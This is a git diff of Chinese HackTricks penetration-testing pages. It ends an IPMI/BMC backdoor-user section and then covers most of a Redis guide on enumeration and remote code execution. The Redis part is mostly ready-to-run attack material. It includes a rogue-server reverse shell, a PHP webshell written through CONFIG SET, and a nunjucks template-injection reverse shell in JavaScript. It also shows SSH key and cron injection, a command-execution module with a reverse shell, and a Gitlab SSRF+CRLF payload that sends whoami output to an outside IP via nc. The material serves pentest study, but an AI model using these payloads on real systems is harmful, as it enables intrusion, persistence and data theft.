在主机带有BMC并被入侵的情况下,可以使用**本地接口来引入一个后门用户账户**,从而在服务器上建立一个永久立足点。此攻击需要在主机上安装**`ipmitool`**并启用对BMC的驱动程序支持。下面的示例演示了如何使用主机上的本地接口(不需要身份验证)将新用户账户注入到BMC中。此方法适用于Linux、Windows、BSD甚至DOS目标。
|
||||
在攻击配备有BMC的主机后,**可以利用本地BMC接口插入后门用户帐户**,在服务器上创建持久存在。此攻击需要在受损主机上存在**`ipmitool`**并激活BMC驱动程序支持。以下命令说明了如何使用主机的本地接口将新用户帐户注入BMC,绕过身份验证的需求。这种技术适用于各种操作系统,包括Linux、Windows、BSD,甚至DOS。
|
||||
```bash
|
||||
ipmitool user list
|
||||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||
|
@ -155,21 +124,8 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|||
```
|
||||
## Shodan
|
||||
|
||||
* `port:623`
|
||||
* `端口:623`
|
||||
|
||||
## 参考资料
|
||||
## References
|
||||
|
||||
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
||||
* [https://academy.hackthebox.com/module/112/section/1245](https://academy.hackthebox.com/module/112/section/1245)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,36 +2,38 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof是所有加密漏洞赏金的家园。**
|
||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
|
||||
|
||||
**无需延迟获得奖励**\
|
||||
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
|
||||
**黑客见解**\
|
||||
参与深入探讨黑客的刺激和挑战的内容
|
||||
|
||||
**在web3渗透测试中获得经验**\
|
||||
区块链协议和智能合约是新的互联网!在其兴起的日子里掌握web3安全。
|
||||
**实时黑客新闻**\
|
||||
通过实时新闻和见解及时了解快节奏的黑客世界
|
||||
|
||||
**成为web3黑客传奇**\
|
||||
每次验证的漏洞都会获得声望积分,并占据每周排行榜的榜首。
|
||||
**最新公告**\
|
||||
随时了解最新的赏金任务发布和重要平台更新
|
||||
|
||||
[**在HackenProof上注册**](https://hackenproof.com/register)开始从您的黑客攻击中获利!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
|
||||
|
||||
## 基本信息
|
||||
|
||||
Redis是一个开源(BSD许可证)的内存**数据结构存储**,用作**数据库**、缓存和消息代理(来自[这里](https://redis.io/topics/introduction))。默认情况下,Redis使用基于纯文本的协议,但您必须记住它也可以实现**ssl/tls**。了解如何在此处[使用ssl/tls运行Redis](https://fossies.org/linux/redis/TLS.md)。
|
||||
来自[文档](https://redis.io/topics/introduction):Redis是一个开源(BSD许可证),用作**数据库**、缓存和消息代理的**内存数据结构存储**。
|
||||
|
||||
默认情况下,Redis使用基于纯文本的协议,但您必须记住它也可以实现**ssl/tls**。了解如何[在此处使用ssl/tls运行Redis](https://fossies.org/linux/redis/TLS.md)。
|
||||
|
||||
**默认端口:** 6379
|
||||
```
|
||||
|
@ -40,7 +42,7 @@ PORT STATE SERVICE VERSION
|
|||
```
|
||||
## 自动枚举
|
||||
|
||||
一些自动化工具可以帮助获取 Redis 实例的信息:
|
||||
一些自动化工具可以帮助获取来自 Redis 实例的信息:
|
||||
```bash
|
||||
nmap --script redis-info -sV -p 6379 <IP>
|
||||
msf> use auxiliary/scanner/redis/redis_server
|
||||
|
@ -49,14 +51,14 @@ msf> use auxiliary/scanner/redis/redis_server
|
|||
|
||||
### 横幅
|
||||
|
||||
Redis是一种**基于文本的协议**,您只需**在套接字中发送命令**,返回的值将可读。还要记住,Redis可以使用**ssl/tls**运行(但这非常奇怪)。
|
||||
Redis是一种基于文本的协议,您可以在套接字中发送命令,返回的值将是可读的。还要记住,Redis可以使用ssl/tls运行(但这很奇怪)。
|
||||
|
||||
在常规的Redis实例中,您可以使用`nc`进行连接,也可以使用`redis-cli`:
|
||||
在常规Redis实例中,您可以使用`nc`进行连接,也可以使用`redis-cli`:
|
||||
```bash
|
||||
nc -vn 10.10.10.10 6379
|
||||
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||||
```
|
||||
你可以尝试的**第一个命令**是**`info`**。它可能返回Redis实例的信息输出,或者返回类似以下内容:
|
||||
**你可以尝试的第一个命令是`info`**。它**可能返回Redis实例的信息**,或者可能返回类似以下内容:
|
||||
```
|
||||
-NOAUTH Authentication required.
|
||||
```
|
||||
|
@ -64,25 +66,25 @@ redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
|||
|
||||
### Redis身份验证
|
||||
|
||||
**默认情况下**,可以**无需凭据**访问Redis。但是,可以进行**配置**以仅支持**密码或用户名+密码**。\
|
||||
可以在_**redis.conf**_文件中使用参数`requirepass`设置密码,**或者在服务重新启动连接到Redis并运行`config set requirepass p@ss$12E45`**时临时设置密码。\
|
||||
**默认情况下**,Redis可以在**没有凭据**的情况下访问。但是,它可以被**配置**为仅支持**密码,或用户名+密码**。\
|
||||
可以在_**redis.conf**_文件中使用参数`requirepass`**设置密码**,或者在服务重新启动连接到它并运行`config set requirepass p@ss$12E45`来**临时设置**密码。\
|
||||
此外,可以在_**redis.conf**_文件中的参数`masteruser`中配置**用户名**。
|
||||
|
||||
{% hint style="info" %}
|
||||
如果仅配置了密码,则使用的用户名是“**default**”。\
|
||||
此外,请注意,**无法从外部找到**Redis是否仅配置了密码或用户名+密码。
|
||||
另外,请注意**外部无法找到**Redis是仅配置了密码还是用户名+密码。
|
||||
{% endhint %}
|
||||
|
||||
在这种情况下,您将**需要找到有效的凭据**才能与Redis进行交互,因此可以尝试[**暴力破解**](../generic-methodologies-and-resources/brute-force.md#redis)。\
|
||||
**如果找到有效的凭据,请在建立连接后使用命令进行身份验证**:
|
||||
在这种情况下,您将需要**找到有效的凭据**与Redis进行交互,因此可以尝试[**暴力破解**](../generic-methodologies-and-resources/brute-force.md#redis)。\
|
||||
**如果找到有效凭据,则需要在与命令建立连接后进行身份验证的会话中进行身份验证:**
|
||||
```bash
|
||||
AUTH <username> <password>
|
||||
```
|
||||
**有效的凭证**将会得到以下回应:`+OK`
|
||||
**有效凭据**将会得到响应:`+OK`
|
||||
|
||||
### **已认证的枚举**
|
||||
### **已认证枚举**
|
||||
|
||||
如果Redis实例接受**匿名**连接或者你找到了一些**有效的凭证**,你可以使用以下命令开始对服务进行枚举:
|
||||
如果Redis服务器允许**匿名连接**或者您已获得有效凭据,您可以使用以下**命令**启动服务的枚举过程:
|
||||
```bash
|
||||
INFO
|
||||
[ ... Redis response with info ... ]
|
||||
|
@ -91,28 +93,29 @@ client list
|
|||
CONFIG GET *
|
||||
[ ... Get config ... ]
|
||||
```
|
||||
**其他Redis命令**可以在[这里](https://redis.io/topics/data-types-intro)和[这里](https://lzone.de/cheat-sheet/Redis)找到。\
|
||||
请注意,**Redis实例的命令可以在redis.conf文件中被重命名或删除**。例如,以下行将删除FLUSHDB命令:
|
||||
**其他Redis命令** [**可以在这里找到**](https://redis.io/topics/data-types-intro) **和** [**这里**](https://lzone.de/cheat-sheet/Redis)**。**
|
||||
|
||||
请注意,**实例的Redis命令可以在_redis.conf_文件中重命名**或删除。例如,以下行将删除FLUSHDB命令:
|
||||
```
|
||||
rename-command FLUSHDB ""
|
||||
```
|
||||
更多关于安全配置Redis服务的信息请参考:[https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
|
||||
更多关于如何安全配置Redis服务的信息请查看:[https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
|
||||
|
||||
您还可以使用命令**`monitor`**实时监控执行的Redis命令,或者使用**`slowlog get 25`**获取前25个最慢的查询命令。
|
||||
您还可以使用命令`monitor`实时监控执行的Redis命令,或者使用`slowlog get 25`获取前25个最慢的查询。
|
||||
|
||||
在这里可以找到更多有关Redis命令的有趣信息:[https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
|
||||
在这里找到更多关于Redis命令的有趣信息:[https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
|
||||
|
||||
### **数据库转储**
|
||||
|
||||
在Redis中,**数据库是从0开始的数字**。您可以通过命令`info`的输出中的"Keyspace"块来查找是否有任何数据库正在使用:
|
||||
在Redis中,**数据库是从0开始编号的**。您可以通过`info`命令的输出中的"Keyspace"部分找到是否有任何数据库正在使用:
|
||||
|
||||
![](<../.gitbook/assets/image (315).png>)
|
||||
|
||||
或者您可以使用以下命令获取所有的**keyspaces**(数据库):
|
||||
或者您可以使用以下命令获取所有**keyspaces**(数据库):
|
||||
```
|
||||
INFO keyspace
|
||||
```
|
||||
在这个例子中,正在使用**数据库0和1**。**数据库0包含4个键,数据库1包含1个键**。默认情况下,Redis将使用数据库0。为了导出例如数据库1,您需要执行以下操作:
|
||||
在这个例子中,正在使用**数据库 0 和 1**。**数据库 0 包含 4 个键,数据库 1 包含 1 个**。默认情况下,Redis 将使用数据库 0。要导出例如数据库 1,您需要执行:
|
||||
```bash
|
||||
SELECT 1
|
||||
[ ... Indicate the database ... ]
|
||||
|
@ -121,9 +124,9 @@ KEYS *
|
|||
GET <KEY>
|
||||
[ ... Get Key ... ]
|
||||
```
|
||||
如果在运行`GET <KEY>`时出现`-WRONGTYPE操作针对保存错误类型值的键`的错误,这是因为键可能不是字符串或整数,需要使用特殊操作符来显示它。
|
||||
在运行 `GET <KEY>` 时,如果出现 `-WRONGTYPE Operation against a key holding the wrong kind of value` 错误,那是因为该键可能不是字符串或整数,需要使用特殊操作符来显示它。
|
||||
|
||||
要了解键的类型,请使用`TYPE`命令,以下是列表和哈希键的示例。
|
||||
要了解键的类型,请使用 `TYPE` 命令,以下是列表和哈希键的示例。
|
||||
```
|
||||
TYPE <KEY>
|
||||
[ ... Type of the Key ... ]
|
||||
|
@ -132,36 +135,34 @@ LRANGE <KEY> 0 -1
|
|||
HGET <KEY> <FIELD>
|
||||
[ ... Get hash item ... ]
|
||||
```
|
||||
**使用npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **或python** [**redis-utils**](https://pypi.org/project/redis-utils/) **来转储数据库。**
|
||||
**使用npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **或python** [**redis-utils**](https://pypi.org/project/redis-utils/) **转储数据库**
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof 是所有加密货币漏洞赏金的家园。**
|
||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和赏金猎人交流!
|
||||
|
||||
**即时获得奖励**\
|
||||
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
|
||||
**黑客见解**\
|
||||
参与深入探讨黑客行为的刺激和挑战的内容
|
||||
|
||||
**在web3渗透测试中获得经验**\
|
||||
区块链协议和智能合约是新的互联网!在其兴起的时代掌握web3安全。
|
||||
**实时黑客新闻**\
|
||||
通过实时新闻和见解了解快节奏的黑客世界
|
||||
|
||||
**成为web3黑客传奇**\
|
||||
每次验证的漏洞都会获得声望积分,并登上每周排行榜的榜首。
|
||||
**最新公告**\
|
||||
了解最新的赏金任务发布和重要平台更新
|
||||
|
||||
[**在HackenProof上注册**](https://hackenproof.com/register) 开始从您的黑客攻击中赚取收入!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **,立即与顶尖黑客合作!**
|
||||
|
||||
## Redis RCE
|
||||
|
||||
### 交互式Shell
|
||||
|
||||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) 可以自动在Redis(<=5.0.5)中获取交互式Shell或反向Shell。
|
||||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) **可以自动在Redis(<=5.0.5)中获取交互式shell或反向shell。**
|
||||
```
|
||||
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
|
||||
```
|
||||
### PHP Webshell
|
||||
|
||||
来自[**这里**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)的信息。您必须知道**网站文件夹的路径**:
|
||||
信息来自[**这里**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)。您必须知道**网站文件夹的路径**:
|
||||
```
|
||||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||||
10.85.0.52:6379> config set dir /usr/share/nginx/html
|
||||
|
@ -173,13 +174,13 @@ OK
|
|||
10.85.0.52:6379> save
|
||||
OK
|
||||
```
|
||||
如果Webshell访问异常,您可以在备份后清空数据库,然后再次尝试,记得恢复数据库。
|
||||
如果webshell访问异常,您可以在备份后清空数据库,然后重试,记得恢复数据库。
|
||||
|
||||
### 模板Webshell
|
||||
|
||||
与前一节类似,您还可以覆盖一些将由模板引擎解释的HTML模板文件,并获得一个Shell。
|
||||
就像在前一节中一样,您还可以覆盖一些将由模板引擎解释的html模板文件并获取shell。
|
||||
|
||||
例如,根据[**这篇文章**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/),您可以看到攻击者在一个由**nunjucks模板引擎解释的HTML**中注入了一个**反向Shell**:
|
||||
例如,根据[**此解决方案**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/),您可以看到攻击者在一个由**nunjucks模板引擎**解释的html中注入了**反向shell**:
|
||||
```javascript
|
||||
{{ ({}).constructor.constructor(
|
||||
"var net = global.process.mainModule.require('net'),
|
||||
|
@ -194,17 +195,19 @@ sh.stderr.pipe(client);
|
|||
)()}}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
请注意,**多个模板引擎会将模板缓存在内存中**,因此即使您覆盖它们,新的模板也**不会被执行**。在这种情况下,要么开发人员保留了自动重新加载功能,要么您需要对服务进行拒绝服务攻击(DoS),并期望它会自动重新启动。
|
||||
请注意,**几个模板引擎会缓存**模板在**内存**中,因此即使您覆盖它们,新模板**不会被执行**。在这种情况下,要么开发人员保留了自动重新加载功能,要么您需要对服务进行DoS攻击(并期望它将自动重新启动)。
|
||||
{% endhint %}
|
||||
|
||||
### SSH
|
||||
|
||||
请注意,在执行其他手动利用命令之后,**`config get dir`** 的结果可能会发生变化。建议在登录到 Redis 后立即运行此命令。在 **`config get dir`** 的输出中,您可以找到 **redis 用户的主目录**(通常为 _/var/lib/redis_ 或 _/home/redis/.ssh_),通过这个信息,您就知道可以在哪里写入 `authenticated_users` 文件以通过 ssh 使用 **redis 用户**登录。如果您知道其他有效用户的主目录,并且您具有可写权限,您也可以滥用它:
|
||||
示例[来自这里](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
|
||||
|
||||
1. 在您的计算机上生成一个 ssh 公私钥对:**`ssh-keygen -t rsa`**
|
||||
请注意**`config get dir`**的结果可能会在其他手动利用命令之后发生更改。建议在登录到Redis后立即运行它。在**`config get dir`**的输出中,您可以找到**redis用户**的**home**(通常为_/var/lib/redis_或_/home/redis/.ssh_),知道这一点后,您就知道可以在哪里写入`authenticated_users`文件以通过ssh访问**使用redis用户**。如果您知道其他有效用户的主目录,并且具有可写权限,您也可以滥用它:
|
||||
|
||||
1. 在您的计算机上生成ssh公钥-私钥对:**`ssh-keygen -t rsa`**
|
||||
2. 将公钥写入文件:**`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||||
3. 将文件导入到 Redis:**`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
||||
4. 将公钥保存到 Redis 服务器上的 **authorized\_keys** 文件中:
|
||||
3. 将文件导入到redis:**`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
||||
4. 将公钥保存到redis服务器上的**authorized\_keys**文件中:
|
||||
|
||||
```
|
||||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||||
|
@ -215,7 +218,7 @@ OK
|
|||
10.85.0.52:6379> save
|
||||
OK
|
||||
```
|
||||
5. 最后,您可以使用私钥 **ssh** 到 **redis 服务器**:**ssh -i id\_rsa redis@10.85.0.52**
|
||||
5. 最后,您可以使用私钥**ssh**到**redis服务器**:**ssh -i id\_rsa redis@10.85.0.52**
|
||||
|
||||
**此技术在此处自动化:**[https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||||
|
||||
|
@ -230,17 +233,17 @@ OK
|
|||
root@Urahara:~# redis-cli -h 10.85.0.52 save
|
||||
OK
|
||||
```
|
||||
最后一个例子是针对Ubuntu的,对于**Centos**,上述命令应为:`redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
|
||||
最后一个示例适用于Ubuntu,对于**Centos**,上述命令应为:`redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
|
||||
|
||||
这种方法也可以用来挖比特币:[yam](https://www.v2ex.com/t/286981#reply14)
|
||||
这种方法也可以用来赚取比特币:[yam](https://www.v2ex.com/t/286981#reply14)
|
||||
|
||||
### 加载Redis模块
|
||||
|
||||
1. 按照[https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)的说明,你可以**编译一个Redis模块来执行任意命令**。
|
||||
2. 然后你需要一种方式来**上传编译好的**模块。
|
||||
3. 使用`MODULE LOAD /path/to/mymodule.so`在运行时**加载上传的模块**。
|
||||
4. 使用`MODULE LIST`**列出已加载的模块**,以检查是否正确加载。
|
||||
5. **执行命令**:
|
||||
1. 按照[https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)上的说明,您可以**编译一个Redis模块来执行任意命令**。
|
||||
2. 然后需要某种方式**上传编译好的**模块
|
||||
3. 在运行时**加载上传的模块**:`MODULE LOAD /path/to/mymodule.so`
|
||||
4. **列出已加载的模块**以检查是否正确加载:`MODULE LIST`
|
||||
5. **执行** **命令**:
|
||||
|
||||
```
|
||||
127.0.0.1:6379> system.exec "id"
|
||||
|
@ -249,11 +252,11 @@ OK
|
|||
"root\n"
|
||||
127.0.0.1:6379> system.rev 127.0.0.1 9999
|
||||
```
|
||||
6. 随时卸载模块:`MODULE UNLOAD mymodule`
|
||||
6. 您可以随时卸载模块:`MODULE UNLOAD mymodule`
|
||||
|
||||
### LUA沙盒绕过
|
||||
|
||||
[**在这里**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)你可以看到Redis使用命令**EVAL**来执行**沙盒化的Lua代码**。在链接的帖子中,你可以看到如何使用**dofile**函数来滥用它,但是[显然](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval)这已经不再可能。无论如何,如果你能**绕过Lua**沙盒,你就可以在系统上**执行任意**命令。此外,从同一篇帖子中,你可以看到一些**导致DoS的选项**。
|
||||
[**这里**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)您可以看到Redis使用**EVAL**命令来执行**Lua代码沙盒**。在链接的帖子中,您可以看到如何使用**dofile**函数滥用它,但[显然](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval)这已不再可能。无论如何,如果您可以**绕过Lua**沙盒,就可以在系统上**执行任意**命令。此外,在同一帖子中,您可以看到一些**导致DoS**的选项。
|
||||
|
||||
一些**用于绕过LUA的CVE**:
|
||||
|
||||
|
@ -261,7 +264,7 @@ OK
|
|||
|
||||
### 主从模块
|
||||
|
||||
主Redis的所有操作会自动同步到从Redis,这意味着我们可以将有漏洞的Redis视为从Redis,连接到我们自己控制的主Redis,然后我们可以向自己的Redis输入命令。
|
||||
主Redis的所有操作会自动同步到从Redis,这意味着我们可以将漏洞Redis视为从Redis,连接到我们自己控制的主Redis,然后我们可以向我们自己的Redis输入命令。
|
||||
```
|
||||
master redis : 10.85.0.51 (Hacker's Server)
|
||||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||||
|
@ -273,9 +276,9 @@ redis-cli -h 10.85.0.51 -p 6379
|
|||
set mykey hello
|
||||
set mykey2 helloworld
|
||||
```
|
||||
## SSRF与Redis通信
|
||||
## SSRF 与 Redis 通信
|
||||
|
||||
如果你可以发送**明文请求**到**Redis**,你可以与它**进行通信**,因为Redis会逐行读取请求,并对它不理解的行返回错误响应:
|
||||
如果您可以发送**明文**请求**到 Redis**,您可以与其**进行通信**,因为 Redis 会逐行读取请求,并对其不理解的行只回复错误:
|
||||
```
|
||||
-ERR wrong number of arguments for 'get' command
|
||||
-ERR unknown command 'Host:'
|
||||
|
@ -285,50 +288,50 @@ set mykey2 helloworld
|
|||
-ERR unknown command 'Cache-Control:'
|
||||
-ERR unknown command 'Connection:'
|
||||
```
|
||||
因此,如果您在一个网站中发现了一个SSRF漏洞,并且您可以控制一些头部(可能是通过CRLF漏洞)或POST参数,那么您将能够向Redis发送任意命令。
|
||||
因此,如果您在网站中发现了**SSRF漏洞**,并且可以**控制**一些**标头**(可能通过CRLF漏洞)或**POST参数**,您将能够向Redis发送任意命令。
|
||||
|
||||
### 示例:Gitlab SSRF + CRLF到Shell
|
||||
### 示例:Gitlab SSRF + CRLF 到 Shell
|
||||
|
||||
在Gitlab11.4.7中发现了一个SSRF漏洞和一个CRLF漏洞。当创建一个新项目时,SSRF漏洞存在于从URL导入项目的功能中,允许访问任意IP,形式为\[0:0:0:0:0:ffff:127.0.0.1](这将访问127.0.0.1),而CRLF漏洞则是通过在URL中添加%0D%0A字符来利用。
|
||||
在**Gitlab11.4.7**中发现了一个**SSRF**漏洞和一个**CRLF**漏洞。**SSRF**漏洞出现在**从URL功能导入项目**中,当创建新项目时允许访问任意IP,形式为\[0:0:0:0:0:ffff:127.0.0.1](这将访问127.0.0.1),而**CRLF**漏洞则是通过向**URL**添加**%0D%0A**字符来利用。
|
||||
|
||||
因此,可以滥用这些漏洞与管理gitlab队列的Redis实例进行通信,并滥用这些队列来获取代码执行。Redis队列滥用的有效载荷为:
|
||||
因此,可以**滥用这些漏洞与管理队列的Redis实例进行通信**,并滥用这些队列以**执行代码**。Redis队列滥用有效载荷为:
|
||||
```
|
||||
multi
|
||||
sadd resque:gitlab:queues system_hook_push
|
||||
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
|
||||
exec
|
||||
```
|
||||
而滥用SSRF和CRLF执行`whoami`命令,并通过`nc`发送输出的**URL编码**请求是:
|
||||
而利用SSRF和CRLF滥用URL编码请求执行`whoami`并通过`nc`发送输出的请求是:
|
||||
```
|
||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||||
```
|
||||
由于某种原因(如来源于[_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/)的作者所述),利用只适用于`git`协议而不适用于`http`协议。
|
||||
由于某种原因(就像[_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/)中提到的那样),利用使用`git`协议而不是`http`协议。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof是所有加密漏洞赏金的家园。**
|
||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
|
